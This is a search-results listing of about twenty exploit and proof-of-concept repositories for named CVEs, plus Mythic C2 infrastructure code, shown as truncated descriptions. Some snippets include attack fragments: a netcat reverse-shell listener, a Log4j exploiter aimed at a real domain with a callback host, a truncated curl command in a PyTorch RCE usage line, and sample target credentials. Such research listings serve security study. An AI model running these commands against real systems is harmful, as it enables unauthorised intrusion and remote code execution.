1275594 matches found
thrunt-god
From signal, to swarm. No gods. Only Thrunt. Threat hunting command system for agentic IDEs. Claude Code · OpenCode · Gemini · Codex · Copilot · Cursor · Windsurf /thrunt:autonomous | one command, full hunt Install · Phases · Commands · Flows · Artifacts Installation npx thrunt-god@latest --claud...
CVE-2018-16119
CVE-2018-16119: Authenticated Remote Code Execution in TP-Link WR1043ND Overview CVE-2018-16119 is a critical authenticated remote code execution vulnerability affecting TP-Link TL-WR1043ND routers. This vulnerability allows authenticated attackers to execute arbitrary commands on the target devi...
tf-mythic-azure
Terraforming Mythic This project allows operators to set up multiple Mythic C2 servers in Azure. Optionally, Azure CDN redirectors can be created as well. The idea is that you are able to create multiple "projects" that you can manage from this Terraform code. This way, operators can manage the...
CVE-2022-28368
CVE-2022-28368 - Dompdf RCE Dompdf RCE PoC Exploit alt text ExploitDB Dompdf versions 1.2.1 are vulnerable to Remote Code Execution RCE by injecting CSS into the data. The file can be tricked into storing a malicious font with a .php file extension in its font cache, which can later be executed b...
CVE-2023-22047
Description: CVE-2023-22047 is unauthentication read file on oracle-peoplesoft. However, advance exploit attacker can use this vulnerability to execute remote code execution. In the peoplesoft application "Portal.war"," Serlet "WSRP Consumer ResourceProxy" enables the ability to read files and ma...
CVE-2025-47812
CVE-2025-47812 — Wing FTP Server Unauthenticated RCE ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║...
CVE-2022-23940
CVE-2022-23940 PoC for CVE-2022-23940 aka SCRMBT-187 - Authenticated Remote Code Execution through Scheduled Reports in SuiteCRM = 8.0.0. Defaults to False --help Show this message and exit. https://github.com/manuelz120/CVE-2022-23940 Example usage: Spawning a PHP Rev...
CVE-2018-19276
CVE-2018-19276 OpenMRS Insecure Object Deserialization RCE From https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607 Insecure object deserialization allows Arbitrary Code Execution without needing to log in. IP restrictions on Webservices module do not prevent thi...
CVE-2022-24481-POC
CVE-2022-24481-POC TL;DR This poc is reversed from expSHA1:fec933b0c46366a1fb272bfaf82a8262597a8d75 and many AV engine detected it as CVE-2022-24521. After analyze it, I find that it maybe the exp for CVE-2022-24481, bacause CVE-2022-24521 is not a type confusion vulnerability. The bug cause by...
CVE-2021-3129
CVE-2021-3129 PoC for CVE-2021-3129 Laravel For educational purposes only Test Set up the PoC environment $ docker-compose build $ docker-compose up -d Confirm it works See http://localhost:8000/ and make sure the Laravel default page is shown. Exploit $ docker-compose exec attacker sh / python3...
CVE-2019-19576
class.upload.php = 2.0.3 Arbitrary file upload Author - Jinny Ramsmark Affected vendor - Verot.net Affected product - class.upload.php = 2.0.3 Tested on newly installed Ubuntu 19.10 with PHP7.3 and Apache/2.4.38 Specifically Debian/Ubuntu has been found to be vulnerable since they add the php,...
Penetration-Testing-Assessment-23-04-2026
Penetration Testing Report – IIS WebDAV Exploitation Overview This project demonstrates a complete penetration testing lifecycle performed on a vulnerable target system. The assessment follows a structured approach including reconnaissance, scanning, enumeration, exploitation, and...
CVE-2020-9484_Exploit
CVE-2020-9484Exploit Exploit for Apache Tomcat deserialization CVE-2020-9484 which could lead to RCE Affected versions: Apache Tomcat 10.x exploit.sh exploit.sh your IP your port target IP target port...
Log4j-RCE-Exploiter
Log4j-RCE-Exploiter Scanner for Log4j RCE CVE-2021-44228 Installation For installation, Run the Following command with SUPERUSER ROOT ▶ cd Log4j-RCE-Exploiter ▶ chmod 777 installer.sh ▶ ./installer.sh Usage ▶ log4jExploiter -d tesla.com -b 6nuulng8dd2sivtd3kht31s9e0kq8f.burpcollaborator.net -h,...
CVE-2019-11043
Ladon POC Moudle CVE-2019-11043 PHP-FPM + Ngnix Vulnerability Overview PHP-FPM Remote Code Execution Vulnerability CVE-2019-11043 During the Real World CTF organized by Chaitin Tech, foreign security researcher Andrew Danau discovered while solving a CTF challenge that sending the %0a symbol to t...
CVE-2025-53772
CVE-2025-53772 - Microsoft Web Deploy RCE Exploit A Python-based exploit for CVE-2025-53772, a remote code execution vulnerability in Microsoft Web Deploy msdeploy caused by unsafe deserialization of HTTP header data. 🎬 POC Video Vulnerability Overview Property| Value ---|--- CVE ID| CVE-2025-537...
CVE-2025-32434-exploit
Overview This exploit demonstrates a critical remote code execution vulnerability CVE-2025-32434 in PyTorch versions /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s...
exploit_CVE-2023-33831
exploitCVE-2023-33831 CVE-2023-33831 Installation git clone https://github.com/btar1gan/exploitCVE-2023-33831 Usage automatic cd exploitCVE-2023-33831/ set your listener python3 33831.py manual nc -lvnp 1881 set your listener on code param copy the 33831.txt to repeater...
PRTG-Network-Monitor-18.2.38---Authenticated-Remote-Code-Execution-CVE-2018-9276
Authenticated PRTG network Monitor remote code execution Based on https://www.exploit-db.com/exploits/46527 Usage: simply manually edit the script to include your Target URL, admin username and password like so: TARGET = "http://10.129.15.52" USER = "prtgadmin" PASS = "PrTg@dmin2019" Then insert...